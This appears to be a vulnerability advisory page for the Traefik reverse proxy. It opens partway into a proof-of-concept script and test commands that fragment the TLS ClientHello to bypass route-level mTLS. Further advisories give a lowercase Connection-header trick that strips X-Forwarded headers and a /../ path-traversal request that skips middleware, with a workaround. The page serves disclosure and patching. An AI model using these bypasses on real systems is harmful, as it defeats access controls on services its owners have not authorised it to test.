else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise

if name == "main": main() EOFFRAGSCRIPT

chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate

case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request

case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror

case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key

case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet

case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF

Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.

</details>

--

1 / 2
Source: GitHub
First published (updated )
Severity
7

Traefik is an HTTP reverse proxy and load balancer. From version 2.11.9 to 2.11.37 and from version 3.1.3 to 3.6.8, there is a potential vulnerability in Traefik managing the Connection header with X-Forwarded headers. When Traefik processes HTTP/1.1 requests, the protection put in place to prevent the removal of Traefik-managed X-Forwarded headers (such as X-Real-Ip, X-Forwarded-Host, X-Forwarded-Port, etc.) via the Connection header does not handle case sensitivity correctly. The Connection tokens are compared case-sensitively against the protected header names, but the actual header deletion operates case-insensitively. As a result, a remote unauthenticated client can use lowercase Connection tokens (e.g. Connection: x-real-ip) to bypass the protection and trigger the removal of Traefik-managed forwarded identity headers. This issue has been patched in versions 2.11.38 and 3.6.9.

First published (updated )
EOL
Aug 16, 2026
Support Ends
May 7, 2026

End of life: 8/16/2026, End of support: 5/7/2026, Latest version: 3.6.25

First published (updated )
EOL
Nov 7, 2025
Support Ends
Nov 7, 2025

End of life: 11/7/2025, End of support: 11/7/2025, Latest version: 3.5.6

First published (updated )
EOL
Jul 23, 2025
Support Ends
Jul 23, 2025

End of life: 7/23/2025, End of support: 7/23/2025, Latest version: 3.4.5

First published (updated )
Severity
9.1
EPSS
0.07%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.

When Traefik is configured to route the requests to a backend using a matcher based on the path, if the URL contains a /../ in its path, it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.

Example

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/service’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-middleware-a - match: PathPrefix(‘/service/sub-path’) kind: Rule services: - name: service-a port: 8080

In such a case, the request http://mydomain.example.com/service/sub-path/../other-path will reach the backend my-service-a without operating the middleware my-middleware-a unless the computed path is http://mydomain.example.com/service/other-path and should be computes by the first router (operating my-middleware-a).

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.24 - https://github.com/traefik/traefik/releases/tag/v3.3.6 - https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2

Workaround

Add a PathRegexp rule to the matcher to prevent matching a route with a /../ in the path.

Example:

yaml match: PathPrefix(/service) && !PathRegexp((?:(/\.\./)+.))

For more information

If you have any questions or comments about this advisory, please open an issue.

1 / 2
Source: GitHub
First published (updated )
EOL
Sep 7, 2026
Support Ends
Apr 29, 2025

End of life: 9/7/2026, End of support: 4/29/2025, Latest version: 2.11.57

First published (updated )
EOL
Sep 7, 2026
Support Ends
Apr 29, 2025

End of life: 9/7/2026, End of support: 4/29/2025, Latest version: 2.11.57

First published (updated )
EOL
May 5, 2025
Support Ends
May 5, 2025

End of life: 5/5/2025, End of support: 5/5/2025, Latest version: 3.3.7

First published (updated )
EOL
Jan 6, 2025
Support Ends
Jan 6, 2025

End of life: 1/6/2025, End of support: 1/6/2025, Latest version: 3.2.5

First published (updated )
EOL
Jan 6, 2025
Support Ends
Jan 6, 2025

End of life: 1/6/2025, End of support: 1/6/2025, Latest version: 3.2.5

First published (updated )
EOL
Oct 28, 2024
Support Ends
Oct 28, 2024

End of life: 10/28/2024, End of support: 10/28/2024, Latest version: 3.1.7

First published (updated )
EOL
Oct 28, 2024
Support Ends
Oct 28, 2024

End of life: 10/28/2024, End of support: 10/28/2024, Latest version: 3.1.7

First published (updated )
EOL
Jul 15, 2024
Support Ends
Jul 15, 2024

End of life: 7/15/2024, End of support: 7/15/2024, Latest version: 3.0.4

First published (updated )
EOL
Jul 15, 2024
Support Ends
Jul 15, 2024

End of life: 7/15/2024, End of support: 7/15/2024, Latest version: 3.0.4

First published (updated )
EOL
Feb 12, 2024
Support Ends
Feb 12, 2024

End of life: 2/12/2024, End of support: 2/12/2024, Latest version: 2.10.7

First published (updated )
EOL
Feb 12, 2024
Support Ends
Feb 12, 2024

End of life: 2/12/2024, End of support: 2/12/2024, Latest version: 2.10.7

First published (updated )
EOL
Apr 24, 2023
Support Ends
Apr 24, 2023

End of life: 4/24/2023, End of support: 4/24/2023, Latest version: 2.9.10

First published (updated )
EOL
Apr 24, 2023
Support Ends
Apr 24, 2023

End of life: 4/24/2023, End of support: 4/24/2023, Latest version: 2.9.10

First published (updated )
EOL
Oct 3, 2022
Support Ends
Oct 3, 2022

End of life: 10/3/2022, End of support: 10/3/2022, Latest version: 2.8.8

First published (updated )
EOL
Oct 3, 2022
Support Ends
Oct 3, 2022

End of life: 10/3/2022, End of support: 10/3/2022, Latest version: 2.8.8

First published (updated )
EOL
Jun 29, 2022
Support Ends
Jun 29, 2022

End of life: 6/29/2022, End of support: 6/29/2022, Latest version: 2.7.3

First published (updated )
EOL
Jun 29, 2022
Support Ends
Jun 29, 2022

End of life: 6/29/2022, End of support: 6/29/2022, Latest version: 2.7.3

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203